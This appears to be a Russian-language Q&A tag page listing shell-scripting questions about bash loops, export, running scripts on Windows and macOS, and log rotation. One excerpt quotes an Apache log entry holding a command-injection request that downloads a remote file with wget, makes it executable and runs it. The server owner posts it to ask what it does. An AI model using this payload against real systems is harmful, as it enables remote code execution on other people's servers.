Вопросы с тегом «shell-script»

Сценарий оболочки - это сценарий, написанный для оболочки или интерпретатора командной строки операционной системы.

94
перебирая результаты `ls` в скрипте bash

Есть ли у кого-нибудь шаблонный скрипт для работы с lsсписком имен каталогов, циклический просмотр каждого из них и выполнение чего-либо? Я планирую сделать, ls -1d */чтобы получить список имен...

75
Что делает экспорт в BASH? [Дубликат]

Возможный дубликат: разница между «a = b» и «export a = b» в bash Трудно признать, но я никогда не понимал, что именно exportделает переменную окружения. Я знаю, что если я не экспортирую переменную, я иногда не вижу ее в дочерних процессах, но иногда кажется, что могу. Что на самом деле...

67
Как выполнить файл .sh в Windows?

Когда я пытаюсь выполнить файл (name.sh) в командной строке с помощью команды ./name.sh, я получаю сообщение об ошибке: "" не распознается как внутренняя или внешняя команда, рабочий или пакетный файл пожалуйста, помогите мне выполнить файл...

67
Проверьте, соответствует ли какой-либо из параметров скрипта bash строке

Я пытаюсь написать скрипт, в котором я хочу проверить, соответствует ли какой-либо из параметров, переданных скрипту bash, строке. То, как я сейчас это настроил, if [ "$3" != "-disCopperBld" -a "$4" != "-disCopperBld" -a "$5" != "-disCopperBld" -a "$6" != "-disCopperBld"] но может быть большое...

53
Журнал ротации стандартного выхода?

У меня есть программа для Linux, которая может записывать информацию в stdout и stderr. У меня есть сценарий оболочки, который перенаправляет этот вывод в файл в /var/log. (Через >>и 2>&1.) Есть ли способ заставить этот файл журнала вращаться? (максимальный размер, затем переключитесь...

49
Избегайте нежелательных путей в Zip-файле

Я делаю сценарий оболочки для упаковки некоторых файлов. Я архивирую каталог, как это: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ Проблема в том, что в результирующем архиве out.zip содержится полный путь к файлу. То есть в разархивированном виде он будет...

31
Что не так с «echo $ (вещи)» или «эхо` вещи` »?

Я использовал один из следующих echo $(stuff) echo `stuff` (где stuff, например, pwdили dateили что-то более сложное). Затем мне сказали, что этот синтаксис неправильный, плохая практика, не элегантный, чрезмерный, избыточный, чрезмерно сложный, программирование культа грузов, нубистский, наивный и...

31
Что делает этот скрипт bash? [Попытка взлома]

В последнее время я замечал на своих серверах логи apache, следующие странные строки: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Поэтому я создал...

28
Как извлечь полный список типов расширений в каталоге?

Внутри каталога и рекурсивно в его подкаталогах, что означает, что каждый каталог в каталоге обрабатывается, как мне составить полный список уникальных расширений в каталоге? ОС - это Windows XP со всеми текущими обновлениями, но я могу запустить скрипт, если смогу рассказать, что он делает, хотя я...

26
Сценарий оболочки отображает новую строку в файле

Я хочу отобразить новую строку в файле между переменными в сценарии оболочки. Вот мой код: var1 = "Hello" var2 = "Мир!" logwrite = "$ var1 [Здесь я хочу вставить новую строку] $ var2 echo "$ logwrite" >> /Users/username/Desktop/user.txt Прямо сейчас, когда я запускаю свой скрипт, файл...

26
Как заменить часть текстового файла между маркерами другим текстовым файлом?

Скажем, у меня есть текстовый файл, как это: # custom content section a b ### BEGIN GENERATED CONTENT c d ### END GENERATED CONTENT Я хотел бы заменить часть между GENERATED CONTENTтегами содержимым другого файла. Какой самый простой способ сделать...

25
Как обновить bash на Mac OS X Yosemite

Просто пытаюсь немного изучить скрипты bash. Моя старая версия Bash: Bash version 3.2.53(1)-release... Я обновил мой bash на Mac OS X Yosemite с помощью homebrew: brew update brew install bash Затем в свойствах терминала я изменил стандартный путь оболочки с /bin/bashна...

24
Как я могу сравнить переменную с текстовой строкой, а не целым числом, в операторе if / else?

В процессе написания сценария оболочки я столкнулся с проблемой следующего оператора if / else, который находится где-то посередине сценария: if [ $act -eq "add" ] then read - "add or update: " $comm git commit -m "$comm $file" else git commit -m "$act $file" fi Возвращаемая ошибка: ./gitup: line...

23
Как запустить скрипт оболочки в Windows? [Дубликат]

На этот вопрос уже есть ответы здесь : Как выполнить файл .sh в Windows? (15 ответов) Закрыто 2 года назад . Этот вопрос был перенесен из переполнения стека, поскольку на него могут ответить суперпользователи. Мигрировал 7 лет назад . Я пользователь Mac и новичок в Windows. Как я могу выполнить...

23
Запустить сценарий оболочки в OS X без появления окна терминала?

Я пытаюсь настроить несколько сочетаний клавиш, которые открывают определенные сеансы iTerm, что я смог сделать с помощью BetterTouchTool и немного магии AppleScript. Проблема в том, что OS X настаивает на том, чтобы открыть окно терминала для любого сценария оболочки, который вы выполняете через...

22
Определить архитектуру Mac из командной строки или скрипта?

Я пишу сценарий оболочки, и мне нужно знать архитектуру, то есть PPC или Intel. Когда-то была программа / bin / arch, которая говорила вам, но мой Mac, похоже, не имеет ее. Есть ли простой способ сделать это? Grep для чего-то в лог-файл? Назовите какую-нибудь другую программу, которая выдает это...